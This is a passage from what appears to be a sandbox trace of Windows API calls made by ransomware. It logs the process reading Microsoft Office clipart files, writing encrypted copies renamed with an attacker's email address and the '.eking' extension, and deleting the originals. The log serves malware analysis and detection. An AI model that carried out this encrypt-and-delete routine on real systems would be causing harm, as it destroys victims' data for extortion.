lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x12c8, lpOverlapped=0x0) returned 1 [0191.801] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x12d0, lpOverlapped=0x0) returned 1 [0191.802] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.803] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.803] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.803] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x12c8, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x12c8, lpOverlapped=0x0) returned 1 [0191.805] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.808] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.810] CloseHandle (hObject=0x1e8) returned 1 [0191.811] CloseHandle (hObject=0x1b8) returned 1 [0191.813] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 1 [0191.815] SetEvent (hEvent=0x174) returned 1 [0191.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.815] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4996) returned 1 [0191.816] CloseHandle (hObject=0x1b8) returned 1 [0191.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 0x20 [0191.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 0x20 [0191.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.826] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.826] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0191.827] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x1384, lpOverlapped=0x0) returned 1 [0191.829] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x1390, lpOverlapped=0x0) returned 1 [0191.830] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.831] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.831] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.831] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1384, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x1384, lpOverlapped=0x0) returned 1 [0191.833] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.837] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.839] CloseHandle (hObject=0x1b8) returned 1 [0191.840] CloseHandle (hObject=0x1e8) returned 1 [0191.843] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 1 [0191.844] SetEvent (hEvent=0x174) returned 1 [0191.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.845] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5004) returned 1 [0191.845] CloseHandle (hObject=0x1e8) returned 1 [0191.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 0x20 [0191.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 0x20 [0191.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.846] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.846] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.846] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.847] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0191.847] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x138c, lpOverlapped=0x0) returned 1 [0191.859] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x1390, lpOverlapped=0x0) returned 1 [0191.860] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.860] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.860] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.860] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x138c, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x138c, lpOverlapped=0x0) returned 1 [0191.862] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.874] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.877] CloseHandle (hObject=0x1e8) returned 1 [0191.878] CloseHandle (hObject=0x1b8) returned 1 [0191.881] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 1 [0191.883] SetEvent (hEvent=0x174) returned 1 [0191.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.884] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=7384) returned 1 [0191.884] CloseHandle (hObject=0x1b8) returned 1 [0191.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid")) returned 0x20 [0191.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid")) returned 0x20 [0191.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.885] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.885] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0191.886] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x1cd8, lpOverlapped=0x0) returned 1 [0191.889] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x1ce0, lpOverlapped=0x0) returned 1 [0191.891] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.891] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.891] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.891] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1cd8, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x1cd8, lpOverlapped=0x0) returned 1 [0191.895] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.899] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.901] CloseHandle (hObject=0x1b8) returned 1 [0191.902] CloseHandle (hObject=0x1e8) returned 1 [0191.905] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid")) returned 1 [0191.907] SetEvent (hEvent=0x174) returned 1 [0191.907] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.909] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4870) returned 1 [0191.909] CloseHandle (hObject=0x1e8) returned 1 [0191.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x20 [0191.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x20 [0191.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.910] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.910] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.910] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.910] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0191.911] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x1306, lpOverlapped=0x0) returned 1 [0191.913] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x1310, lpOverlapped=0x0) returned 1 [0191.914] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.914] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.914] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.914] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x1306, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x1306, lpOverlapped=0x0) returned 1 [0191.917] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.921] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.924] CloseHandle (hObject=0x1e8) returned 1 [0191.925] CloseHandle (hObject=0x1b8) returned 1 [0191.926] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 1 [0191.928] SetEvent (hEvent=0x174) returned 1 [0191.928] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.929] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=26886) returned 1 [0191.929] CloseHandle (hObject=0x1b8) returned 1 [0191.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x20 [0191.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x20 [0191.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.929] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0191.929] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.929] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.930] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0191.932] ReadFile (in: hFile=0x1b8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x6906, lpOverlapped=0x0) returned 1 [0191.935] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x6910, lpOverlapped=0x0) returned 1 [0191.937] WriteFile (in: hFile=0x1e8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0xf2, lpOverlapped=0x0) returned 1 [0191.937] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.938] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fa00 | out: lpNewFilePointer=0x0) returned 1 [0191.938] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x6906, lpNumberOfBytesWritten=0x322fa0c, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fa0c*=0x6906, lpOverlapped=0x0) returned 1 [0191.940] FlushFileBuffers (hFile=0x1b8) returned 1 [0191.944] FlushFileBuffers (hFile=0x1e8) returned 1 [0191.947] CloseHandle (hObject=0x1b8) returned 1 [0191.948] CloseHandle (hObject=0x1e8) returned 1 [0191.949] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 1 [0191.952] SetEvent (hEvent=0x174) returned 1 [0191.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.953] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=28948) returned 1 [0191.953] CloseHandle (hObject=0x1e8) returned 1 [0191.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x20 [0191.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x20 [0191.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0191.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0191.954] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.954] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fca0 | out: lpNewFilePointer=0x0) returned 1 [0191.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0191.956] ReadFile (in: hFile=0x1e8, lpBuffer=0x3280020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x322fcac, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesRead=0x322fcac*=0x7114, lpOverlapped=0x0) returned 1 [0191.960] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | out: lpBuffer=0x3280020*, lpNumberOfBytesWritten=0x322fc90*=0x7120, lpOverlapped=0x0) returned 1 [0191.962] WriteFile (in: hFile=0x1b8, lpBuffer=0x3280020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x322fc90, lpOverlapped=0x0 | 